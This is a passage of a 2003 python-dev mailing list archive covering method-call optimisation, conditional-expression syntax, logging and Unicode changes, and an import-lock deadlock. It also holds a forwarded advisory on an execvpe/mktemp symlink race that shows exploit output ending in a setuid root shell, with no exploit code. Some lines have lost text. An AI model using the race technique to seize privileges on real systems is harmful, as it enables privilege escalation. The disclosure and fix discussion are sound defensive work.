and return # if we get here, the optimization doesn't apply tmp = getattr(, ) return tmp() --Guido van Rossum (home page: http://www.python.org/~guido/) From mwh@python.net Fri Feb 14 18:15:08 2003 From: mwh@python.net (Michael Hudson) Date: Fri, 14 Feb 2003 18:15:08 +0000 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: <2md6lvhwvs.fsf@starship.python.net> (Michael Hudson's message of "Fri, 14 Feb 2003 12:25:43 +0000") References: <20030214.060242.98857672.glyph@twistedmatrix.com> <2md6lvhwvs.fsf@starship.python.net> Message-ID: <2m7kc2iv9v.fsf@starship.python.net> Michael Hudson writes: > Would be more interesting if it was implemented :-) This is a > roundabout way of saying that I don't think implementation will be > entirely straightforward/there may be easier ways to speed up method > calls. Actually, the "easier ways" I had in mind are already implemented :-) Cheers, M. -- If your telephone company installs a system in the woods with no one around to see them, do they still get it wrong? -- Robert Moir, alt.sysadmin.recovery From skip@pobox.com Fri Feb 14 18:15:37 2003 From: skip@pobox.com (Skip Montanaro) Date: Fri, 14 Feb 2003 12:15:37 -0600 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: <200302141801.h1EI1mJ03013@odiug.zope.com> References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141801.h1EI1mJ03013@odiug.zope.com> Message-ID: <15949.12873.379854.503670@montanaro.dyndns.org> I thought one thing Glyph was trying to address was the single-use nature of the instancemethod object. Once it's been created, can't you just cache it in the instance for later reuse? When it's needed, you borrow it from the instance, use it, then put it back (assuming the slot in the instance is still empty, otherwise you DECREF it). I think that would make it thread safe. Skip From guido@python.org Fri Feb 14 18:21:08 2003 From: guido@python.org (Guido van Rossum) Date: Fri, 14 Feb 2003 13:21:08 -0500 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: Your message of "Fri, 14 Feb 2003 12:15:37 CST." <15949.12873.379854.503670@montanaro.dyndns.org> References: <20030214.060242.98857672.glyph@twistedmatrix.com> <200302141801.h1EI1mJ03013@odiug.zope.com> <15949.12873.379854.503670@montanaro.dyndns.org> Message-ID: <200302141821.h1EIL8B03414@odiug.zope.com> > I thought one thing Glyph was trying to address was the single-use nature of > the instancemethod object. Once it's been created, can't you just cache it > in the instance for later reuse? When it's needed, you borrow it from the > instance, use it, then put it back (assuming the slot in the instance is > still empty, otherwise you DECREF it). I think that would make it thread > safe. The caching would have to be done by the instance object's getattr() implementation; there are all sorts of situations where the cache would have to be invalidated and only the instance (really, its class) knows about that. And note that the compiler doesn't know the type of in .(). might be a module or an extension object. --Guido van Rossum (home page: http://www.python.org/~guido/) From gherron@islandtraining.com Fri Feb 14 18:39:52 2003 From: gherron@islandtraining.com (Gary Herron) Date: Fri, 14 Feb 2003 10:39:52 -0800 Subject: [Python-Dev] non-binary operators In-Reply-To: References: Message-ID: <200302141039.52320.gherron@islandtraining.com> On Friday 14 February 2003 09:54 am, Gerald S. Williams wrote: > I'm *not* discussing PEP 308, since that's supposed to > be happening on c.l.py. The operator names have been > changed to protect the innocent. :-) Oops. The original post was to both lists (which seems excessive), and then so was my response. > Gary Herron wrote: > > The above defines two binary operators "[POINTED]" and > > "[STICK]" and a ternary operator "[POINTED]...[STICK]". > > [...] > > > can the action of the ternary operator be defined in > > terms of the actions of the two binary operators? > > [...] > > > The answer is *NO*, all three expressions evaluate to > > different results. > > Why is that any different from the following set, which > are already three different expressions in Python? > > ( bunch_of_grapes < banana ) < pointed_stick > bunch_of_grapes < ( banana < pointed_stick ) > bunch_of_grapes < banana < pointed_stick Good point. I've never actually used (a' operators) can be understood by considering each operation in isolation as a binary operation. Not so with the "then" and "else" operands. The easiest description of a string of "then" operators is that it selects and returns the first "false" expression in the lists, and a string of "else" operators selects and returns the first "true" expresson, and both short-circuit the remaining operands. The ternary operator is not easily explained by some combination of the individual binary operands from which it is composed. Gary Herron From glyph@twistedmatrix.com Fri Feb 14 20:13:46 2003 From: glyph@twistedmatrix.com (Glyph Lefkowitz) Date: Fri, 14 Feb 2003 14:13:46 -0600 Subject: [Python-Dev] CALL_ATTR, A Method Proposal In-Reply-To: <15949.12873.379854.503670@montanaro.dyndns.org> Message-ID: On Friday, February 14, 2003, at 12:15 PM, Skip Montanaro wrote: > I thought one thing Glyph was trying to address was the single-use > nature of > the instancemethod object. Once it's been created, can't you just > cache it > in the instance for later reuse? When it's needed, you borrow it from > the > instance, use it, then put it back (assuming the slot in the instance > is > still empty, otherwise you DECREF it). I think that would make it > thread > safe. But this would merely be trading space for speed, where neither is necessary. What I'm proposing (and I think what Guido already had on his list) is that the instancemethod object never be created, as you can optimize the syntax to mean "call this method" rather than "get this attribute, call the result". From tismer@tismer.com Sat Feb 15 04:09:25 2003 From: tismer@tismer.com (Christian Tismer) Date: Sat, 15 Feb 2003 05:09:25 +0100 Subject: [Python-Dev] Re: PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: References: <3E4C5FBD.2070309@tismer.com> Message-ID: <3E4DBD75.6020602@tismer.com> François Pinard wrote: > [Christian Tismer] > > >>Dear community, > > > Nice way to salute! :-) as it was indented to be :-) >>there has been some favor of my silly/simple a then b else c proposal. > > > Not so long ago, I added a similar feature in an ad hoc language we created > for one project (French and specialised syntax, and written under pressure). > Strangely enough, it did not occur to me, before this morning, that there > was some relation with this long thread in the Python universe. :-) > > If I translate the keywords of our syntax back to English, it gives: > > a when b else c > > with a chainable property not requiring parentheses: > > a when b else c when d else ... > > Our language is declarative (tinily functional) rather than imperative. > Yet, the above writings are not far from the original Guido suggestion. Well, the difference is of course quite big to me. a when b else c when d else ... compared to a if b else c if d else ... looks much smoother. I also could imagine "where": a where b else c where d else ... All in favor over re-using a strong "if". "if" is used to be too much right-orientated... more-of-this -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From mhammond@skippinet.com.au Sat Feb 15 05:01:23 2003 From: mhammond@skippinet.com.au (Mark Hammond) Date: Sat, 15 Feb 2003 16:01:23 +1100 Subject: [Python-Dev] Import lock knowledge required! Message-ID: <00e401c2d4af$49b06ee0$530f8490@eden> I've found a bug related to the import lock causing a deadlock in 2.3. The bug can be found at http://www.python.org/sf/683658 The bug is fairly self-explanatory, so I won't repeat it here. The proposed patch exposes the import lock to the Python C API, allowing optionally a non-blocking attempt to acquire the lock. I should note that the only reason I propose this is because I can see no other option! I would appreciate it if people knowledgeable about the import lock and its implications could have a quick look at this bug, and comment on my proposed patch. Thanks, Mark. From tismer@tismer.com Sat Feb 15 05:43:02 2003 From: tismer@tismer.com (Christian Tismer) Date: Sat, 15 Feb 2003 06:43:02 +0100 Subject: [Python-Dev] PEP 308: "then" "else" for deprecating "and" "or" side effects In-Reply-To: <20030214164806.GA4551@laranja.org> References: <3E4C5FBD.2070309@tismer.com> <20030214164806.GA4551@laranja.org> Message-ID: <3E4DD366.8010500@tismer.com> Lalo Martins wrote: > On Fri, Feb 14, 2003 at 04:17:17AM +0100, Christian Tismer wrote: > >> arg = arg then 42 else "Default" >> arg = arg else "Default" >> arg = arg then 42 > > > I feel the "then" above reads very funny; besides, as it isn't currently in > python, it means a new keyword. Guido's proposal reads better, despite the > funny ordering: > > arg = 42 if arg else "Default" Please stay up-to-date. There is no such proposal any longer, although it reads much better to me than the latest version, which is complete overkill for me. "spraxelmaksel", if this is international for broken syntax. > If you have an idea of how to disambiguate it, then we could augment his > with your binary ideas: > > arg = arg else "Default" > arg = 42 if arg These reductions are always simple. It isn't about semantics at all. I simply refuse "a if b then c", for a simple reason: Way too many languages *have* some kind of spelled "if" which goes to the right. I don't want Python to use a keyword so much differently, then "a when b else c" looks pretty understandable to me, also if you were confrontated wiht 25+ languages, before. good night -- chris -- Christian Tismer :^) Mission Impossible 5oftware : Have a break! Take a ride on Python's Johannes-Niemeyer-Weg 9a : *Starship* http://starship.python.net/ 14109 Berlin : PGP key -> http://wwwkeys.pgp.net/ work +49 30 89 09 53 34 home +49 30 802 86 56 pager +49 173 24 18 776 PGP 0x57F3BF04 9064 F4E1 D754 C2FF 1619 305B C09C 5A3B 57F3 BF04 whom do you want to sponsor today? http://www.stackless.com/ From vinay_sajip@red-dove.com Sat Feb 15 12:30:11 2003 From: vinay_sajip@red-dove.com (Vinay Sajip) Date: Sat, 15 Feb 2003 12:30:11 -0000 Subject: [Python-Dev] Changes to logging Message-ID: <000501c2d4ed$fec5aaa0$652b6992@alpha> I've got a set of patches which I want to make to logging: 1. Added the record being processed as a parameter to handleError. 2. Handler.handle returns the result of applying the filter to the record. 3. Added a seek(0, 2) in RotatingFileHandler before the tell() call. This is because under Windows, tell() returns 0 until the first actual write. 4. Renamed warn and WARN to warning and WARNING. This may break existing code, but the standard Python module will use warning/WARNING rather than warn/WARN. The fatal and FATAL synonyms for critical and CRITICAL have also been removed. 5. Added a defaultEncoding attribute and some simple support for encoding Unicode messages. 6. Added process ID to the list of LogRecord attributes. 7. Modified Logger.removeHandler so that it does not close the handler on removal. As far as point 4 is concerned, I feel that the last discussion on python-dev was inconclusive. The consensus seemed to say WARNING and CRITICAL were OK, but then there was some doubt about WARNING due to the number of changes Zope would need. Though Zope is an important application, I'm not sure Zope changes should be the yardstick for this sort of change; >From looking for instances of WARN and warn in the .py files from a recent read-only checkout of Zope, I couldn't see all that many places where changes would be needed. Have I missed something? For point 5, I'm not sure how best to handle Unicode support, so I'm canvassing suggestions. The API allows overriding of the message formatting logic at various stages - LogRecord, Handler or Formatter. This makes it fairly easy to provide arbitrary custom logic for Unicode encoding, etc. The change I've made allows for simple default processing - a "defaultEncoding" attribute defaulted to "latin_1" has been added to logging. Currently, the message format string is determined via LogRecord.getMessage(), which does a str() on the passed in message argument passed to the logging call. Under the proposed change: - If the running Python has no Unicode support, the system does a str(), as it does currently. - If the message argument is not a Unicode string, the system does a str(), as it does currently. - If the message argument is a Unicode string (type(msg) == types.UnicodeType), the system does a msg.encode(defaultEncoding). The resulting string is treated as the format string and the % operator applied with the arguments to obtain the final message string. Comments, please? Vinay Sajip Red Dove Consultants Ltd. http://www.red-dove.com/ From mal@lemburg.com Sat Feb 15 15:42:30 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sat, 15 Feb 2003 16:42:30 +0100 Subject: [Python-Dev] Changes to logging In-Reply-To: <000501c2d4ed$fec5aaa0$652b6992@alpha> References: <000501c2d4ed$fec5aaa0$652b6992@alpha> Message-ID: <3E4E5FE6.6080605@lemburg.com> Vinay Sajip wrote: > For point 5, I'm not sure how best to handle Unicode support, so I'm > canvassing suggestions. The API allows overriding of the message formatting > logic at various stages - LogRecord, Handler or Formatter. This makes it > fairly easy to provide arbitrary custom logic for Unicode encoding, etc. The > change I've made allows for simple default processing - a "defaultEncoding" > attribute defaulted to "latin_1" has been added to logging. You should use sys.getdefaultencoding() for this. Python's default encoding is "ascii", BTW, not "latin-1". > Currently, the > message format string is determined via LogRecord.getMessage(), which does a > str() on the passed in message argument passed to the logging call. Under > the proposed change: > > - If the running Python has no Unicode support, the system does a str(), as > it does currently. > - If the message argument is not a Unicode string, the system does a str(), > as it does currently. > - If the message argument is a Unicode string (type(msg) == > types.UnicodeType), the system does a msg.encode(defaultEncoding). Perhaps there's some other reason, but why do you apply special treatment to Unicode ? Unicode objects behave pretty much the same as strings do, so the special casing doesn't seem necessary. I'd only do the str() call on objects which are not string types. > The resulting string is treated as the format string and the % operator > applied with the arguments to obtain the final message string. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 15 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 45 days left EuroPython 2003, Charleroi, Belgium: 129 days left From mal@lemburg.com Sat Feb 15 15:49:11 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sat, 15 Feb 2003 16:49:11 +0100 Subject: [Python-Dev] Import lock knowledge required! In-Reply-To: <00e401c2d4af$49b06ee0$530f8490@eden> References: <00e401c2d4af$49b06ee0$530f8490@eden> Message-ID: <3E4E6177.8040806@lemburg.com> Mark Hammond wrote: > I've found a bug related to the import lock causing a deadlock in 2.3. The > bug can be found at http://www.python.org/sf/683658 > > The bug is fairly self-explanatory, so I won't repeat it here. The proposed > patch exposes the import lock to the Python C API, allowing optionally a > non-blocking attempt to acquire the lock. I should note that the only > reason I propose this is because I can see no other option! > > I would appreciate it if people knowledgeable about the import lock and its > implications could have a quick look at this bug, and comment on my proposed > patch. I think we're running into a similar bootstrap problem as we did when we had exceptions coded in Python. The solution back then was to recode it in C. Perhaps the warnings module should get the same treatment ?! -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 15 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 45 days left EuroPython 2003, Charleroi, Belgium: 129 days left From guido@python.org Sat Feb 15 15:52:31 2003 From: guido@python.org (Guido van Rossum) Date: Sat, 15 Feb 2003 10:52:31 -0500 Subject: [Python-Dev] Changes to logging In-Reply-To: Your message of "Sat, 15 Feb 2003 12:30:11 GMT." <000501c2d4ed$fec5aaa0$652b6992@alpha> References: <000501c2d4ed$fec5aaa0$652b6992@alpha> Message-ID: <200302151552.h1FFqVI01618@pcp02138704pcs.reston01.va.comcast.net> > I've got a set of patches which I want to make to logging: Please upload to SF ASAP -- I'd like to do another alpha next Tuesday. Please send forward context or unified diffs relative to current CVS! > 1. Added the record being processed as a parameter to handleError. OK. > 2. Handler.handle returns the result of applying the filter to the record. OK. > 3. Added a seek(0, 2) in RotatingFileHandler before the tell() call. This > is because under Windows, tell() returns 0 until the first actual write. OK. > 4. Renamed warn and WARN to warning and WARNING. This may > break existing code, but the standard Python module will use > warning/WARNING rather than warn/WARN. OK, but please leave warn/WARN in as synonyms. > The fatal and FATAL synonyms for critical and CRITICAL have also > been removed. NOT OK. Please leave them in as synonyms. > 5. Added a defaultEncoding attribute and some simple support for encoding > Unicode messages. See Marc-Andre's reply. > 6. Added process ID to the list of LogRecord attributes. OK. > 7. Modified Logger.removeHandler so that it does not close the handler on > removal. OK. > As far as point 4 is concerned, I feel that the last discussion on > python-dev was inconclusive. The consensus seemed to say WARNING and > CRITICAL were OK, but then there was some doubt about WARNING due to the > number of changes Zope would need. Though Zope is an important application, > I'm not sure Zope changes should be the yardstick for this sort of change; > From looking for instances of WARN and warn in the .py files from a recent > read-only checkout of Zope, I couldn't see all that many places where > changes would be needed. Have I missed something? Did you check Zope 3 too? It's got more of these I think. But if you submit patches for Python, I can take care of Zope 3. --Guido van Rossum (home page: http://www.python.org/~guido/) From Jack.Jansen@oratrix.com Sat Feb 15 16:31:49 2003 From: Jack.Jansen@oratrix.com (Jack Jansen) Date: Sat, 15 Feb 2003 17:31:49 +0100 Subject: [Python-Dev] Import lock knowledge required! In-Reply-To: <3E4E6177.8040806@lemburg.com> Message-ID: On zaterdag, feb 15, 2003, at 16:49 Europe/Amsterdam, M.-A. Lemburg wrote: > I think we're running into a similar bootstrap problem as > we did when we had exceptions coded in Python. The solution > back then was to recode it in C. Perhaps the warnings module > should get the same treatment ?! There are other modules with the same potential problem. For instance, the code that prints MacOS error messages imports a Python module to get at the texts of the messages. I haven't had any reports of deadlocks, but I haven't looked for them either, so it may be possible this code gets called with the import lock held. And at first glance code using cobject's PyCobject_import() may be at risk too (only at first glance: I didn't check to see whether such code is ever executed with with import lock held). -- - Jack Jansen http://www.cwi.nl/~jack - - If I can't dance I don't want to be part of your revolution -- Emma Goldman - From aahz@pythoncraft.com Sun Feb 16 04:43:19 2003 From: aahz@pythoncraft.com (Aahz) Date: Sat, 15 Feb 2003 23:43:19 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. Message-ID: <20030216044319.GB1680@panix.com> Not sure what to do about this, but I don't have the time to check into it. ----- Forwarded message from Access-=-Denied support ----- > Forwarded-By: aahz@pythoncraft.com > Reply-To: info@ad2u.gr > To: webmaster@python.org > Subject: Python execvpe symlink race condition. > From: Access-=-Denied support > Organization: Access-=-Denied > Date: Sun, 16 Feb 2003 03:33:38 -0000 > > > Dear webmaster, > > > The proof of concept code will be published in a few days. That will leave > you plenty of time > to deal with the bug. > > > > Looking forward to hearing from you, > > Access-=-Denied support > > > > START OF ADVISORY > ----------------- > > AD2U Security Advisory -- 15/02/2003 > > Python 2.2.x execvpe Symlink Race Condition > > Summary > -------- > > A Symlink race condition exists in all version of Python programming > language. Probably any posix system running python is vulnerable. > > #### IMPORTANT #### > This vulnerability is not closely related to the recent execvpe > vulnerability, but the idea is derived from there. > > > > Description > ---------------- > > The vulnerability can be observed in two library files that come with > python. > > tempfile.py at def mktemp(suffix=""): > ************************************* > while 1: > i = _counter.get_next() > file = os.path.join(dir, pre + str(i) + suffix) > if not os.path.exists(file): > return file > > > os.py at def _execvpe(file, args, env=None): > ******************************************** > import tempfile > t = tempfile.mktemp() > # Exec a file that is guaranteed not to exist > try: execv(t, ('blah',)) > except error, _notfound: pass > > It is possible, to create a link of the file to be executed (t) in the > limited time window between the statements > os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are > executed. > > > IMPACT > ------ > > Python is not running suid on most platforms, so to gain root privileges is > a little hard. However, you can attack scripts that use execvpe function > and you will gain the privileges of the > user running the script. > > > PATCH > ----- > > The vulnerability of the tempfile.mktemp() > function is known, and python have "declared" mktemp() deprecated. > Af far it concerns the execvpe function, because it uses mktemp() function > it is vulnerable to this attack. > > Vendor has been notified. > > > Exploit > ------- > > There is exploit code available for this bug and will be published soon. > > A simple run of the epxloit is demonstrated below: > > root@prezaki:~# ./python.sh > Python 2.2.x Symlink Race Condition exploit > Access-=-Denied Networks (c) mzozd@ad2u.gr, 2003 > This is a proof of concept code!!! For educational purposes only > Creating suidshell script > Building python file... > Be patient, it will take a few moments > ...................................................................... > ...................................................................... > ...................................................................... > ...................................................................... > ...................................................................... > ...................................................................... > ...................................................................... > You got your suidshell... > -rwsr-xr-x 1 root root 532960 Feb 15 02:42 /tmp/.sh > Cleaning environment > > root@prezaki:~# > > > DISCLAIMER > ---------- > > The author(s) does(do) not have any responsibility for any malicious > use of this advisory or proof of concept code. The code and the > information provided here are for educational purposes only. > The author(s) will NOT be held responsible for any direct or indirect > damages caused by the information or the code > provided here. This advisory is OPEN for public distribution > EXCEPT for Symantec Corporation, Security Focus, Bugtraq or > any other company affiliated with Symantec. Articles that are > based on the information posted here SHOULD include a link > to this advisory or clearly refer the SOURCE. > This disclaimer is not to be modified by any means and must > be included 'as-is' in other documents. The material provided > here, in any form, is copyright property of Access-=-Denied Networks. > > > Acknowledgements > ---------------- > > Discovery and proof of concept code by MzOzD > Email at mzozd@ad2u.gr > > > REFERENCES > ---------- > > RHSA-2002:202-33.txt ADVISORY > http://bugs.debian.org/cgi-bin/bugreport.cgi?bug=156556 > http://cve.mitre.org/cgi-bin/cvename.cgi?name=CAN-2002-1119 ----- End forwarded message ----- -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From zack@codesourcery.com Sun Feb 16 07:43:18 2003 From: zack@codesourcery.com (Zack Weinberg) Date: Sat, 15 Feb 2003 23:43:18 -0800 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <20030216044319.GB1680@panix.com> (Aahz's message of "Sat, 15 Feb 2003 23:43:19 -0500") References: <20030216044319.GB1680@panix.com> Message-ID: <87znowpt61.fsf@egil.codesourcery.com> Aahz writes: > Not sure what to do about this, but I don't have the time to check into > it. ... >> os.py at def _execvpe(file, args, env=None): >> ******************************************** >> import tempfile >> t = tempfile.mktemp() >> # Exec a file that is guaranteed not to exist >> try: execv(t, ('blah',)) >> except error, _notfound: pass >> >> It is possible, to create a link of the file to be executed (t) in the >> limited time window between the statements >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are >> executed. That is exactly the signature of one of the tempfile bugs that I fixed. I do not know whether any official 2.2.x release has yet occurred that includes the bugfix. zw From mal@lemburg.com Sun Feb 16 09:49:30 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sun, 16 Feb 2003 10:49:30 +0100 Subject: [Python-Dev] Import lock knowledge required! In-Reply-To: References: Message-ID: <3E4F5EAA.5090307@lemburg.com> Jack Jansen wrote: > > On zaterdag, feb 15, 2003, at 16:49 Europe/Amsterdam, M.-A. Lemburg wrote: > >> I think we're running into a similar bootstrap problem as >> we did when we had exceptions coded in Python. The solution >> back then was to recode it in C. Perhaps the warnings module >> should get the same treatment ?! > > > There are other modules with the same potential problem. For instance, > the code that > prints MacOS error messages imports a Python module to get at the texts > of the > messages. I haven't had any reports of deadlocks, but I haven't looked > for them > either, so it may be possible this code gets called with the import lock > held. > > And at first glance code using cobject's PyCobject_import() may be at > risk too (only at first > glance: I didn't check to see whether such code is ever executed with > with import lock held). I wonder whether a general lock such as the one used in import is such a good idea. Perhaps it should only lock the importing of a specific module, keeping the locks in a dictionary indexed by module name instead of a static C variable ?! Then again it's hard to know the real name of the module being searched before finding it... I see a more general problem here: the lock prevent starting up threaded applications which use client-server logic between the threads. If the application's main thread starts a client thread as a result of an import which then tries to import other Python modules, you have a deadlock. (At least that's how I understand the current implementation.) Don't know about others, but I frequently use the idiom of placing the server's main code in a separate module and then have small startup script importing this module. This kind of setup is also advertised for CGI programs, so it may not be uncommon out there. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly from the Source (#1, Feb 16 2003) >>> Python/Zope Products & Consulting ... http://www.egenix.com/ >>> mxODBC, mxDateTime, mxTextTools ... http://python.egenix.com/ ________________________________________________________________________ Python UK 2003, Oxford: 44 days left EuroPython 2003, Charleroi, Belgium: 128 days left From skip@manatee.mojam.com Sun Feb 16 13:00:24 2003 From: skip@manatee.mojam.com (Skip Montanaro) Date: Sun, 16 Feb 2003 07:00:24 -0600 Subject: [Python-Dev] Weekly Python Bug/Patch Summary Message-ID: <200302161300.h1GD0O6m014542@manatee.mojam.com> Bug/Patch Summary ----------------- 336 open / 3332 total bugs (no change) 127 open / 1982 total patches (+6) New Bugs -------- Whats new: Obligatory source code encodings if not ASCII (2003-02-09) http://python.org/sf/683416 Tutorial: info on Source Code Encoding is missing (2003-02-09) http://python.org/sf/683486 PyErr_Warn may cause import deadlock (2003-02-09) http://python.org/sf/683658 HTMLParser attribute parsing bug (2003-02-10) http://python.org/sf/683938 Freeze can not be made to exclude implicits (2003-02-11) http://python.org/sf/684679 socket module on solaris (2003-02-11) http://python.org/sf/684903 IDE asks for attention when quitting (2003-02-11) http://python.org/sf/684975 bundlebuilder and spaces in filenames (2003-02-12) http://python.org/sf/685373 python-mode loops on if/else (2003-02-12) http://python.org/sf/685465 2 (more) bugs in turtle (2003-02-12) http://python.org/sf/685773 turtle circle() documentation error (2003-02-12) http://python.org/sf/685775 raw_input defers alarm signal (2003-02-13) http://python.org/sf/685846 os.spawnv(P_WAIT, ...) on Linux doesn't handle EINTR (2003-02-14) http://python.org/sf/686667 Profilier hooked into SystemExit (2003-02-15) http://python.org/sf/687297 New Patches ----------- unicode support for os.listdir() (2003-02-09) http://python.org/sf/683592 Add download_url to setup() (2003-02-10) http://python.org/sf/683939 AutoThreadState implementation (2003-02-10) http://python.org/sf/684256 Fix for verbosity (2003-02-10) http://python.org/sf/684398 extending readline functionality (2003-02-11) http://python.org/sf/684500 Allow freeze to exclude implicits (2003-02-11) http://python.org/sf/684677 extend readline functionality in pdb (2003-02-11) http://python.org/sf/684944 fix for bug 501716 (2003-02-11) http://python.org/sf/684981 fix for 680789: reprs in arraymodule (2003-02-11) http://python.org/sf/685051 imputil must respect __path__ for package submodules (2003-02-12) http://python.org/sf/685268 logging.handlers.SMTPHandler and single 'to' address (2003-02-13) http://python.org/sf/686379 add os.sep and friends to os.path (2003-02-13) http://python.org/sf/686397 Add addition and moving messages to Maildir (2003-02-14) http://python.org/sf/686545 Remove unncessary casts for PyEval_GetFrame() (2003-02-14) http://python.org/sf/686601 Closed Bugs ----------- Missing trailing newline should not raise SyntaxError (2002-01-09) http://python.org/sf/501622 pty.fork problem (2002-02-07) http://python.org/sf/514345 isinstance() should respect __class__ (2002-03-20) http://python.org/sf/532767 import lock should be exposed (2002-07-13) http://python.org/sf/580952 sys.executable in applets (2002-10-19) http://python.org/sf/625728 Instantiation init-less class with param (2002-11-14) http://python.org/sf/638610 socket.inet_aton("255.255.255.255") (2002-11-24) http://python.org/sf/643005 -hex/oct const generates wrong code (2002-12-31) http://python.org/sf/660455 sets module review (2003-01-07) http://python.org/sf/663701 Another parsermodule validation error (2003-01-31) http://python.org/sf/678518 'compile' refuses BOM. (2003-02-03) http://python.org/sf/679880 __module__ broken for extension classes (2003-02-04) http://python.org/sf/680429 C subtypes do not inherit tp_as_buffer (2003-02-05) http://python.org/sf/681367 Source encoding rules are extreme. (2003-02-06) http://python.org/sf/681960 Closed Patches -------------- handle unary op of constant in transformer.py (2003-01-03) http://python.org/sf/661536 BZ2File leaking fd and memory (2003-01-03) http://python.org/sf/661796 Compile _randommodule.c and datetimemodule.c under cygwin (2003-01-20) http://python.org/sf/671176 extending readline functionality (2003-01-27) http://python.org/sf/675551 Cygwin array module patch (2003-01-29) http://python.org/sf/676837 Cygwin _iconv_codec module patch (2003-01-29) http://python.org/sf/676839 improved readline usage in pdb (2003-01-30) http://python.org/sf/677719 Fix for the bug #679880: 'compile' refuses BOM. (2003-02-04) http://python.org/sf/680474 lookbehind tests (2003-02-07) http://python.org/sf/682432 Patch for bug 580952: import lock should be exposed (2003-02-08) http://python.org/sf/683257 From vinay_sajip@red-dove.com Sun Feb 16 15:19:55 2003 From: vinay_sajip@red-dove.com (Vinay Sajip) Date: Sun, 16 Feb 2003 15:19:55 -0000 Subject: [Python-Dev] Changes to logging References: <000501c2d4ed$fec5aaa0$652b6992@alpha> <3E4E5FE6.6080605@lemburg.com> Message-ID: <003c01c2d5ce$dda12520$652b6992@alpha> > You should use sys.getdefaultencoding() for this. Python's default > encoding is "ascii", BTW, not "latin-1". > OK, but supposing I log a message with the format string u"Marc-Andr\xe9". If I use "ascii" as the encoding, an exception is raised because the code for e-acute is > 128. How best should this situation be handled? I assumed that people would be using Unicode to log messages in other languages with accented characters etc. which are typically outside the ASCII range. Regards, Vinay Sajip From aahz@pythoncraft.com Sun Feb 16 15:21:17 2003 From: aahz@pythoncraft.com (Aahz) Date: Sun, 16 Feb 2003 10:21:17 -0500 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <87znowpt61.fsf@egil.codesourcery.com> References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> Message-ID: <20030216152117.GA28373@panix.com> > >> It is possible, to create a link of the file to be executed (t) in the > >> limited time window between the statements > >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are > >> executed. > > That is exactly the signature of one of the tempfile bugs that I > fixed. I do not know whether any official 2.2.x release has yet > occurred that includes the bugfix. That's what I suspected. Did you check that into the 2.2.x maint branch? (I remember that you did, but I'm triple-checking.) -- Aahz (aahz@pythoncraft.com) <*> http://www.pythoncraft.com/ Register for PyCon now! http://www.python.org/pycon/reg.html From zack@codesourcery.com Sun Feb 16 17:31:21 2003 From: zack@codesourcery.com (Zack Weinberg) Date: Sun, 16 Feb 2003 09:31:21 -0800 Subject: [Python-Dev] FWD: Python execvpe symlink race condition. In-Reply-To: <20030216152117.GA28373@panix.com> (Aahz's message of "Sun, 16 Feb 2003 10:21:17 -0500") References: <20030216044319.GB1680@panix.com> <87znowpt61.fsf@egil.codesourcery.com> <20030216152117.GA28373@panix.com> Message-ID: <87of5cb09i.fsf@egil.codesourcery.com> Aahz writes: >> >> It is possible, to create a link of the file to be executed (t) in the >> >> limited time window between the statements >> >> os.path.exists(file) in tempfile.py and execv(t, ('blah',)) in os.py are >> >> executed. >> >> That is exactly the signature of one of the tempfile bugs that I >> fixed. I do not know whether any official 2.2.x release has yet >> occurred that includes the bugfix. > > That's what I suspected. Did you check that into the 2.2.x maint > branch? (I remember that you did, but I'm triple-checking.) I don't have write privileges. I thought that it was checked into the 2.2.x maint branch but I don't actually know. zw From mal@lemburg.com Sun Feb 16 17:32:49 2003 From: mal@lemburg.com (M.-A. Lemburg) Date: Sun, 16 Feb 2003 18:32:49 +0100 Subject: [Python-Dev] Changes to logging In-Reply-To: <003c01c2d5ce$dda12520$652b6992@alpha> References: <000501c2d4ed$fec5aaa0$652b6992@alpha> <3E4E5FE6.6080605@lemburg.com> <003c01c2d5ce$dda12520$652b6992@alpha> Message-ID: <3E4FCB41.6060402@lemburg.com> Vinay Sajip wrote: >>You should use sys.getdefaultencoding() for this. Python's default >>encoding is "ascii", BTW, not "latin-1". >> > > OK, but supposing I log a message with the format string u"Marc-Andr\xe9". > If I use "ascii" as the encoding, an exception is raised because the code > for e-acute is > 128. How best should this situation be handled? I assumed > that people would be using Unicode to log messages in other languages with > accented characters etc. which are typically outside the ASCII range. I don't know how you have implemented logging to files or stream, but in general it's better to let the stream get the Unicode and let it decide what to do, e.g. you could have a log file open in 'latin-1' mode (via codecs.open()) and then see log entries as Latin-1. To make things a little more robust (ie. to prevent the log message from getting lost), I'd suggest to use try: except UnicodeError: around the log writing code. The except clause should then encode the log message to UTF-8 and write the 8-bit string in a second try. -- Marc-Andre Lemburg eGenix.com Professional Python Software directly 